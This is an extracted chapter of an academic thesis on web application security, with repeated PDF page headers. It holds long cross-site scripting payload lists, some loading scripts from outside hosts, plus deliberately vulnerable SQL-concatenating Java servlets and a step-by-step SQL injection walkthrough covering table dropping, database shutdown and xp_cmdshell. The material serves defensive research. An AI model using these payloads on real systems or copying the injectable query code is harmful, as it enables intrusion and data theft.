71
Chapter-III Methodology 1.1. Research Methodology The proposed constructive research was done through experiments and proof of the concept implementation. In order to achieve the objectives the following methodologies were used. Experiments were done with the existing applications to find vulnerabilities. Well known attack patterns were used for the test. The attack patterns were collected from literature, well known authorized forums and web sites. Testing was done using manual method and automated tools. After analyzing the results counter measures were proposed using aspect oriented approach. The researcher first modeled the aspects (Aspect oriented modeling) by following a lightweight extension of UML . Both Platform independent and Platform specific (for java servlets) models were developed in order to support model driven development. Devised aspect implementation. Proof of the concept implementation was done in java. Developed sample web applications and used newly devised extensions of above mentioned aspects and proved to be self defendable. Weaved existing Application and Security Aspect and proved to be self defendable by various attacks. Model driven development approach was used to generate aspect oriented model framework. 1.2. Introduction to Web application Security Issues A web application resides on web server and can be accessed over a network by an authorized user. Since they reside on the server and publicly available on the internet they can be updated and modified at any time. Traditionally hackers have been

Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

  • Upload
    others

  • View
    4

  • Download
    0

Embed Size (px)

Citation preview

Page 1: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

Chapter-III Methodology

1.1. Research Methodology

The proposed constructive research was done through experiments and proof of the

concept implementation. In order to achieve the objectives the following

methodologies were used.

• Experiments were done with the existing applications to find vulnerabilities.

Well known attack patterns were used for the test.

The attack patterns were collected from literature, well known authorized

forums and web sites. Testing was done using manual method and

automated tools.

• After analyzing the results counter measures were proposed using aspect

oriented approach.

• The researcher first modeled the aspects (Aspect oriented modeling) by

following a lightweight extension of UML . Both Platform independent and

Platform specific (for java servlets) models were developed in order to

support model driven development.

• Devised aspect implementation. Proof of the concept implementation was

done in java.

• Developed sample web applications and used newly devised extensions of

above mentioned aspects and proved to be self defendable.

• Weaved existing Application and Security Aspect and proved to be self

defendable by various attacks.

• Model driven development approach was used to generate aspect oriented

model framework.

1.2. Introduction to Web application Security Issues

A web application resides on web server and can be accessed over a network by an

authorized user. Since they reside on the server and publicly available on the internet

they can be updated and modified at any time. Traditionally hackers have been

Page 2: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

focused at network and operating system level, but current trend is leaning towards

web application because various intrusion detection and defense mechanism

constraints the penetration and hackers are looking for another way to breach the

security infrastructure. Currently the gaping security loophole in web application is

being exploited by hackers worldwide.

The reported instances of web application attacks shows maximum hits

happened to financial and educational areas. Symantec security report says 69% of

vulnerabilities in internet are web application vulnerabilities. As the no.of web

application vulnerabilities are very much, precautions are to be taken carefully right

from the design.

Integration of security measures throughout the lifecycle need to be done inorder to

plug the loopholes.

The various research activities of leading organizations and individuals also prove

that web application vulnerabilities are serious issues and there is a necessity to

incorporate security in the software development phase.

1.3. Attacks

Research community and media have reported various types of attacks that can

happen to the web application. These attacks are possible mainly due to the loopholes

like weak authentication, improper authorization, flexibility in code/string injection,

buffer accessibility etc. The sections below discuss various threats to web application

security.

1.3.1. Authentication This vulnerability exists in so many systems as they will allow the use of weak

passwords or cryptographic keys, and users will often choose easy to guess

passwords, possibly found in a dictionary. Some systems do not have to authenticate

the user before they could access the system. Another scenario that strengthens this

vulnerability is that many systems support automated tools which generate username

and password. The possible attacks for this defendlessness are as follows

• Brute Force attack: A Brute Force attack is an automated process of trial and error

used to guess a person's username, password, credit-card number or cryptographic

key.

Page 3: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

• Insufficient Authentication: Insufficient Authentication occurs when a web site

permits an attacker to access sensitive content or functionality without having to

properly authenticate

• .Weak Password Recovery Validation: Weak Password Recovery validation is when a

web site permits an attacker to illegally obtain, change or recover another user's

password.

1.3.2. Authorization Insufficient Authorization: Insufficient Authorization is when a web site permits

access to sensitive content or functionality that should require increased access

control restrictions.

1.3.3. Injection flaws Injection vulnerability is the weakness of an application whereby a malicious user

input sabotages the otherwise genuine use of the system. The different kinds of

injection flaws are Cross site scripting exploited through web browser, Sql Injection

targeted at Database content, command injection exploited through OS shell etc.

1.3.3.1. Cross site scripting (XSS) attacks

This security vulnerability is caused by malicious web users who inject code (

javascript or html) in the pages visible to the application user. Powerful phishing

attacks and browser exploits can be executed by taking advantage of this

vulnerability. There are three different types of XSS.

(i) Local cross site scripting(DOM based) This causes a page to write some HTML to it. When a piece of javascript accesses a

URL request parameter and uses this information to write back a HTML code which

could include additional client side script this attack occurs. E.g.: A user X sends a

URL to user Y via email or similar mechanism. When the user Y clicks on the link,

the javascript associated with it opens a vulnerable HTML locally installed on X’s

computer. The javascript allow X to run commands with the privileges of Y.

(ii) Non Persistent(Reflected)

Page 4: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

This attack is exposed when the data provided by the user is immediately used to

generate a result page for the user by the server. This dynamic page is inserted with a

client side code. Basically a user can change only his own page but he may cheat the

other users by making them to follow a malicious URL E.g.: When an attacker X sees

that Y is using a URL very often X sends an email which contains a URL which look

trusted. When Y uses that link while logged in, the JavaScript redirects Y to a

malicious site which looks apparently the same as original. The script can now steal

cookies which contain sensitive information (authentication credentials, a/c info etc)

and send them to the attacker X without Y’s knowledge. E.g.: A cookie can be stealed

using a script tag inserted in a text field submitted to the server.

<SCRIPT>alert(document.cookie);</SCRIPT>

(iii) Persistent (Type 2 vulnerability)

This attack occurs when data provided by a user is first stored permanently on server

and then displayed for others to view. E.g.: Y hosts a web site which allows others to

post and view messages. X posts an interesting message making many to view it.

When others view the message the session cookies are stolen and set to X’s web

server. Later X can login as other users and post messages on behalf of them. In

context of our online digital library example an unauthenticated user may be able to

steal the cookie of a valid user and access articles

The consequences of this attack are same for all category. The difference is how the

payload arrives at the server. The severity may range from an annoyance to complete

account compromise.

i. Session hijacking

ii. Phishing

iii. Page defacement

iv. Cross site request forgery

Cross Site Scripting(XSS Injection) is one of the most common application level

attacks that hackers use to sneak into web applications. To quote an example of

Page 5: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

reflected XSS the following java code segment that reads student information from an

Http request and displays it to the user.

String id=request.getParameter(“sid”);

PrintWriter out=res.getWriter();

out.println(“student id:”+id);

If the id contains metacharacters or source code then the code will be executed by the

web browser as it displays the http response.

An example of persistent XSS is

String id=request.getParameter(“sid”);

//get student details through html form and store it in database without filtering.

//retrieve the data through sql interface

Statement stmt=con.createStatement();

String query="select * from student where sid="+id;

ResultSet rs=stmt.executeQuery(query);

if(rs.next())

{

System.out.println(rs.getString(1));

}

In this example if any malicious script is given as input then it is stored and then

retrieved back and executed.

Example attack scenario is given below.

User gives a malicious script <script>alert(“hi”)</script> as input. If the application

tries to display this data the following message alert as in figure(2) is displayed.

Page 6: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

Figure (2) Cross site scripting attack scenario

There are more than 100 variants of XSS injection attacks[29][30]. Following is a list

of attack patterns.

//Script tag based attacks to execute java script-starts directly with script tag or

some special characters

<script>alert(396606905532)</script>.

<ScRiPt%20%0a%0d>alert(396616905532)%3B</ScRiPt>.

>"><ScRiPt%20%0a%0d>alert(396636905532)%3B</ScRiPt>.

--><ScRiPt%20%0a%0d>alert(396666905532)%3B</ScRiPt>.

>'><ScRiPt%20%0a%0d>alert(396626905532)%3B</ScRiPt>.

//in the above samples the alert is raised

//To execute javascript in title tag embed script tag

</title><ScRiPt%20%0a%0d>alert(396656905532)%3B</ScRiPt>.

//To execute javascript in textarea tag embed script tag

Page 7: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

</textarea><ScRiPt%20%0a%0d>alert(396646905532)%3B</ScRiPt>.

email@some<ScRiPt%20%0a%0d>alert(396676905532)%3B</ScRiPt>domain.com

<%00script>alert(396806906551)%3B</script>.

%3Cimg%20src%3D%22JaVaS%26%2399%3BRiPt:alert%28396796906551%29%3

B%22%3E.

//use of div tag ,frameset tag etc. to inject a malicious code

<DIV+STYLE="width:expression(alert(396826906551))%3B">

<FRAMESET><FRAME+SRC="JaVaS%26%2399%3BRiPt:alert(396836906551)%

3B"></FRAMESET>.

%3Cimg%20dynsrc%3D%22JaVaScRiPt:alert%28396846906551%29%3B%22%3E.

<META+HTTP-

EQUIV="refresh"+CONTENT="0%3Burl=JaVaS%26%2399%3BRiPt:alert(3968569

06551)%3B">.

<iframe+src="data:text/html%3Bbase64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aX

gteHNzLXRlc3QnKTwvc2NyaXB0Pgo="+invalid="396866906551">.

//attack on hyper link navigation

<embed+src="http://testphp.abc.com/xss.swf?396876906553"+type="application/x-

shockwave-flash"/>.

<body+onload=alert(396886906553)>.

<ScRiPt+src=http://testphp.abc.com/xss.js?396996906634></ScRiPt>.

<script/xss+src=http://testphp.abc.com/xss.js?397006906634></script>.

</div><ScRiPt%20%0a%0d>alert(397066906636)%3B</ScRiPt>.

<ScRiPt+bad=">"+src="http://testphp.abc.com/xss.js?397046906636"></ScRiPt>.

<img+src=http://testphp.abc.com/dot.gif+onload=alert(397016906634)>

%00'"><ScRiPt%20%0a%0d>alert(397086906636)%3B</ScRiPt>.

%00"'><ScRiPt%20%0a%0d>alert(397196906865)%3B</ScRiPt>.

%3C/xss/*-*/style=xss:e/**/xpression(alert(397276906867))%3E

<iframe/+/onload=alert(397406906910)></iframe>.

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";al

ert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--

></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

'';!--"<XSS>=&{()}

Page 8: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

//attack on image tags to execute javascript

<IMG SRC="javascript:alert('XSS');">

<IMG SRC=javascript:alert('XSS')>

<IMG SRC=JaVaScRiPt:alert('XSS')>

<IMG SRC=javascript:alert(&quot;XSS&quot;)>

<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

<IMG

SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;

&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

<IMG

SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000

114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#000010

1&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083

&#0000039&#0000041>

<IMG

SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&

#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

<IMG SRC="jav ascript:alert('XSS');">

<IMG SRC="jav&#x09;ascript:alert('XSS');">

<IMG SRC="jav&#x0A;ascript:alert('XSS');">

<IMG SRC="jav&#x0D;ascript:alert('XSS');">

<IMG SRC = " j a v a s c r i p t

Page 9: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

: a l e r t ( ' X S S ' ) " > //using perl scripts and image tag to execute malicious code

perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out

<IMG SRC=" &#14; javascript:alert('XSS');">

<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>

<<SCRIPT>alert("XSS");//<</SCRIPT>

<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>

<SCRIPT SRC=//ha.ckers.org/.j>

<IMG SRC="javascript:alert('XSS')"

<iframe src=http://ha.ckers.org/scriptlet.html <

<SCRIPT>a=/XSS/

alert(a.source)</SCRIPT>

\";alert('XSS');//

</TITLE><SCRIPT>alert("XSS");</SCRIPT>

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

<BODY BACKGROUND="javascript:alert('XSS')">

<BODY ONLOAD=alert('XSS')>

<IMG DYNSRC="javascript:alert('XSS')">

<IMG LOWSRC="javascript:alert('XSS')">

<BGSOUND SRC="javascript:alert('XSS');">

Page 10: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

<BR SIZE="&{alert('XSS')}">

<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>

//attack using link tag

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">

<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>

<STYLE>BODY{-moz-

binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>

<XSS STYLE="behavior: url(xss.htc);">

<STYLE>li {list-style-image:

url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS

<IMG SRC='vbscript:msgbox("XSS")'>

<IMG SRC="mocha:[code]">

<IMG SRC="livescript:[code]">

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>

<TABLE BACKGROUND="javascript:alert('XSS')">

<TABLE><TD BACKGROUND="javascript:alert('XSS')">

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

<DIV STYLE="background-

image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\007

4\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">

<DIV STYLE="width: expression(alert('XSS'));">

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

<XSS STYLE="xss:expression(alert('XSS'))">

exp/*<A STYLE='no\xss:noxss("*//*");

xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>

<STYLE TYPE="text/javascript">alert('XSS');</STYLE>

<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A

CLASS=XSS></A>

<STYLE

type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

Page 11: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

<!--[if gte IE 4]>

<SCRIPT>alert('XSS');</SCRIPT>

<![endif]-->

<BASE HREF="javascript:alert('XSS');//">

<OBJECT TYPE="text/x-scriptlet"

DATA="http://abc.org/scriptlet.html"></OBJECT>

<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url

value=javascript:alert('XSS')></OBJECT>

<EMBED SRC="http://abc.org/xss.swf" AllowScriptAccess="always"></EMBED>

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH

A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcm

cv

MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3h

s

aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0

iMjAw

IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQ

oIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml"

AllowScriptAccess="always"></EMBED>

a="get";

b="URL(\"";

c="javascript:";

d="alert('XSS');\")";

eval(a+b+c+d);

<HTML xmlns:xss>

<?import namespace="xss" implementation="http://abc.org/xss.htc">

<xss:xss>XSS</xss:xss>

</HTML>

<XML ID=I><X><C><![CDATA[<IMG

SRC="javas]]><![CDATA[cript:alert('XSS');">]]>

</C></X></xml><SPAN DATASRC =#I DATAFLD=C

DATAFORMATAS=HTML></SPAN>

Page 12: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

<XML ID="xss"><I><B>&lt;IMG SRC="javas<!-- --

>cript:alert('XSS')"&gt;</B></I></XML>

<SPAN DATASRC="#xss" DATAFLD="B"

DATAFORMATAS="HTML"></SPAN>

<XML SRC="xsstest.xml" ID=I></XML>

<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

<HTML><BODY>

<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">

<?import namespace="t" implementation="#default#time2">

<t:set attributeName="innerHTML" to="XSS&lt;SCRIPT

DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;">

</BODY></HTML>

<SCRIPT SRC="http://abc.org/xss.jpg"></SCRIPT>

<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT

SRC=http://abc.org/xss.js></SCRIPT>'"-->

<? echo('<SCR)';

echo('IPT>alert("XSS")</SCRIPT>'); ?>

<IMG

SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciou

scode">

Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser

//attack using meta tag

<META HTTP-EQUIV="Set-Cookie"

Content="USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;">

<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html;

charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-

/SCRIPT+AD4-

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

<META HTTP-EQUIV="refresh"

CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3

NjcmlwdD4K">

<META HTTP-EQUIV="refresh" CONTENT="0;

URL=http://;URL=javascript:alert('XSS');">

Page 13: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>;

REL=stylesheet">

//attack using script-source tag

<SCRIPT a=">" SRC="http://abc.org/xss.js"></SCRIPT>

<SCRIPT =">" SRC="http://abc.org/xss.js"></SCRIPT>

<SCRIPT a=">" '' SRC="http://abc.org/xss.js"></SCRIPT>

<SCRIPT "a='>'" SRC="http://abc.org/xss.js"></SCRIPT>

<SCRIPT a=`>` SRC="http://abc.org/xss.js"></SCRIPT>

<SCRIPT a=">'>" SRC="http://abc.org/xss.js"></SCRIPT>

<SCRIPT>document.write("<SCRI");</SCRIPT>PT

SRC="http://abc.org/xss.js"></SCRIPT>

//attack on reference links

<A HREF="http://66.102.7.147/">XSS</A>

<A

HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">X

SS</A>

<A HREF="http://1113982867/">XSS</A>

<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>

<A HREF="http://0102.0146.0007.00000223/">XSS</A>

<A HREF="h

tt p://6&#9;6.000146.0x7.147/">XSS</A>

<A HREF="//www.google.com/">XSS</A>

<A HREF="//google">XSS</A>

<A HREF="http://abc.org@google">XSS</A>

<A HREF="http://google:ha.ckers.org">XSS</A>

<A HREF="http://google.com/">XSS</A>

<A HREF="http://www.google.com./">XSS</A>

<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>

1.3.3.2. Sql Injection attacks

Page 14: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

The Sql Injection attack is used by a malicious user to obtain a parameter that a web

application passes to its database, modify it and forward a malicious query to the

database which may avail, corrupt or destroy database contents. Web applications that

construct SQL statements from user supplied input are vulnerable to this attack.

Structured Query Language ('SQL') is a textual language used to interact with

relational databases.

SQL Injection occurs when an attacker is able to insert a series of SQL statements

into a 'query' by manipulating data input into an application.

A typical SQL statement looks like this:

Select name, salary from employee where department=’it’ and designation=’faculty’

Here the string literals 'it' and 'faculty' are delimited with single quotes. Presuming

that the 'department' and 'designation' fields are being gathered from user-supplied

input, an attacker might be able to 'inject' some SQL into this query, by inputting

values into the application like this:

Department : it'; drop table employee-- Designation : We will now see how a java servlet application take input from user and execute the

query.

import java.io.*;

import javax.servlet.ServletException;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

/**

* Servlet implementation class for getting employee information

*

*/

public class EmpServ extends javax.servlet.http.HttpServlet implements

javax.servlet.Servlet {

static final long serialVersionUID = 1L;

Page 15: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

public LoginServ() {

super();

}

protected void doGet(HttpServletRequest request, HttpServletResponse

response) throws ServletException, IOException {

response.setContentType("text/html");

PrintWriter out=response.getWriter();

System.out.println("login");

out.println("<html><body bgcolor=\"#AAABCC\">");

out.println("<form method=\"post\"

action=\"/testProject/VerifyServ?d=1\">");

out.println("Enter department:<input type=\"text\" name=dept

value=\"\">");

out.println("Enter designation:<input type=\"password\" name=desig

value=\"\">");

out.println("<input type=\"submit\" value=submit>");

out.println("</form></body></html>");

out.close();

} } The above servlet asks the user to input department and designation through html text

boxes and forward it to VerifyServ for verification. The following statement build the

sql statement and forward it to database server for execution.

String query = "select name, salary from employee where department = '" +

dept+ "' and designation= '" + desig + "'”;

//System.out.println(query);

rs = stmt.executeQuery(query);

System.out.println("rs = " + rs);

Page 16: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

When the user input it'; drop table employee-- is substituted the table employee

will be dropped and the part of the query after -- will not be executed as -- character

sequence is single line comment.

Similarly for verifying username and password during login the follwing query is

used.

"select * from users where username = '" +

uname+ "' and password= '" + pw + "'”;

If the username is known a user can login by giving the following input.

Username: dhanya’—

The attacker can login as first user by giving the input

Username: ‘ or ‘1’=’1’—

Another form of sql injection is extracting information from error messages.

The attacker would be able to do insertion/deletion/modification in the database only

if the structure of database is known.

Extracting column names enter name:

' having 1=1--

Enter password:

java.sql.SQLException: [Microsoft][ODBC SQL Server Driver][SQL Server]Column

'us

ers.username' is invalid in the select list because it is not contained in either an

aggregate function or the GROUP BY clause.

Press any key to continue . . .

The above error message discloses the name of the table and first fieldname.

Proceeding further to extract more fieldnames.

enter name:

'group by users.username having 1=1--

Enter password:

Page 17: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

java.sql.SQLException: [Microsoft][ODBC SQL Server Driver][SQL Server]Column

'us

ers.password' is invalid in the select list because it is not contained in either an

aggregate function or the GROUP BY clause.

Press any key to continue . . .

All the fieldnames can be extracted in similar way.

Enter name:

' group by users.username, users.password having 1=1--

… which produces no error, and is functionally equivalent to:

select * from users where username = ''

Next step is to extract the type of each column.

Enter name:

' union select sum(username) from users—

This takes advantage of the fact that SQL server attempts to apply the 'sum' clause

before determining whether the number of fields in the two rowsets is equal.

Attempting to calculate the 'sum' of a textual field results in this message:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate

operation cannot take a varchar data type as an argument.

/process_login.asp, line 35

..which tells us that the 'username' field has type 'varchar'. Proceeding in this manner

all fields type can be extracted. A user can now fire an insert query like

Username: '; insert into users values( 'attacker', 'a123hihi' )—

This technique can be used even to extract values of fields

Extracting values of Columns

Getting username

enter name:

'union select min(username),1 from users where username>'admin'--

Enter password:

Page 18: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

dhanya 1

Press any key to continue . . .

enter name:

'union select min(username),1 from users where username>'dhanya'--

Enter password:

fgh 1

Press any key to continue . . .

Getting password

enter name:

dhanya' or 'l'='l

Enter password:

dhanya dh

Press any key to continue . . .

Inserting values

enter name:

';insert into users values('joe','jo')--

Enter password:

Press any key to continue . . .

Know version

enter name:

'union select @@version,1--

Enter password:

Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86)

Feb 9 2007 22:47:07

Copyright (c) 1988-2005 Microsoft Corporation

Express Edition with Advanced Services on Windows NT 5.1 (Build 2600: Se

rvice Pack 2) 1

Press any key to continue . . .

Page 19: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

Droping table

enter name:

';drop table users--

Enter password:

Press any key to continue . . .

Shutdown Database

Username: ';shutdown--

...will shut down the SQL server instance,

Once an attacker has control of the database, they are likely to want to use that access

to obtain further control over the network. This is achieved using extended stored

procedure to run commands as the SQL server user, on the database server .exec is

used to execute the extended stored procedures. Some of the commonly seen attacks

in this category are

exec master..xp_cmdshell 'net1 user'

exec master..xp_cmdshell 'dir'

exec master..xp_servicecontrol 'start', 'schedule'

exec master..xp_servicecontrol 'start', 'server'

exec xp_regread HKEY_LOCAL_MACHINE,

'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'

exec xp_regenumvalues HKEY_LOCAL_MACHINE,

'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'

Some of the useful extended stored procedures are listed below

xp_regaddmultistring

xp_regdeletekey

xp_regdeletevalue

xp_regenumkeys

xp_regenumvalues

xp_regread

xp_regremovemultistring

xp_regwrite

xp_availablemedia

xp_dirtree

Page 20: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

xp_enumdsn

xp_loginconfig

xp_makecab

xp_ntsec_enumdomains

xp_ntsec_enumdomains

Here we mention an attack that is possible for bypassing the authentication. Once the

user enters his username and password, they are used to form a sql query for

authentication.

An e.g.: is shown as java code

String username=req.getParameter(“username”);

String password=req.getParameter (“password”);

String query=”Select * from user where username=’ ” + username +” ‘ and

password=’ ” + password + “ ‘ “;

The sql query is expected to look like

Select * from user where username=’joe’ and password=’joe#12’

for input username=joe and password=joe#12

Suppose the user inputs username=joe and password=jo’ or ‘1’=’1 then the sql query

formed by concatenating the inputs are

Select * from user where username=’joe’ and password=’jo’ or ‘1’=’1’

This would return all contents of table and thus private zone get exposed.

The consequences of this attack are critical.

i. Database modification.

ii. Access to other people data.

iii. Integrity and confidentiality violation.

Page 21: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

iv. Leakage of Authorization information.

v. Breakage of Authentication.

1.3.4. Parameter Tampering attacks/URL path manipulation

This is a technique of modification of data send by the server at client side. When a

user sends an HTTP request for a web page, server sends an html page with certain

parameters or hidden fields which is not displayed by browser. The client attaches

these parameters in the url or as hidden fields to the html page and sent it back to

server while submitting the form or following a link. During this process a parameter

tampering attack can be conducted which generally affects non editable html elements

like selectionable list, hidden fields, checkboxes, radio buttons, destiny pages etc.

For example if the html form contains a pre-selected list the user can change the value

of it and send the value he wants. Similarly a url path can also be manipulated to

access unauthorized data. For example if the user can check his account details using

http://www.banksite.com?myacc=xyz then he can change the myacc parameter value

to something else and access somebody else account.

The main cause of this attack is that the server don’t keep track of the created data and

no verification will be done from the server side.

1.3.5. Session Hijacking Credential/Session Prediction: Credential/Session Prediction is a method of hijacking

or impersonating a web site user.

Insufficient Session Expiration: Insufficient Session Expiration is when a web site

permits an attacker to reuse old session credentials or session IDs for authorization.

Session Fixation: Session Fixation is an attack technique that forces a user's session

ID to an explicit value.

These attacks are classified as web server based attacks and precautions are to be done

at the web server.

1.3.6. Malicious file upload Some web applications provide the facility to upload files on the web server. These

points can be exploited to upload viruses or malicious files which cause application to

Page 22: Chapter-III - Shodhgangashodhganga.inflibnet.ac.in/.../10603/12246/2/chapter-iii.pdf · 2015-12-04 · Chapter-III Methodology 1.1. Research Methodology The proposed constructive

behave indifferently. The well known attacks that can happen by this method is cross

site scripting.

1.3.7. Buffer Overflow

Buffer Overflow exploits are attacks that alter the flow of an application by

overwriting parts of memory. It is one of the most common and serious threat in the

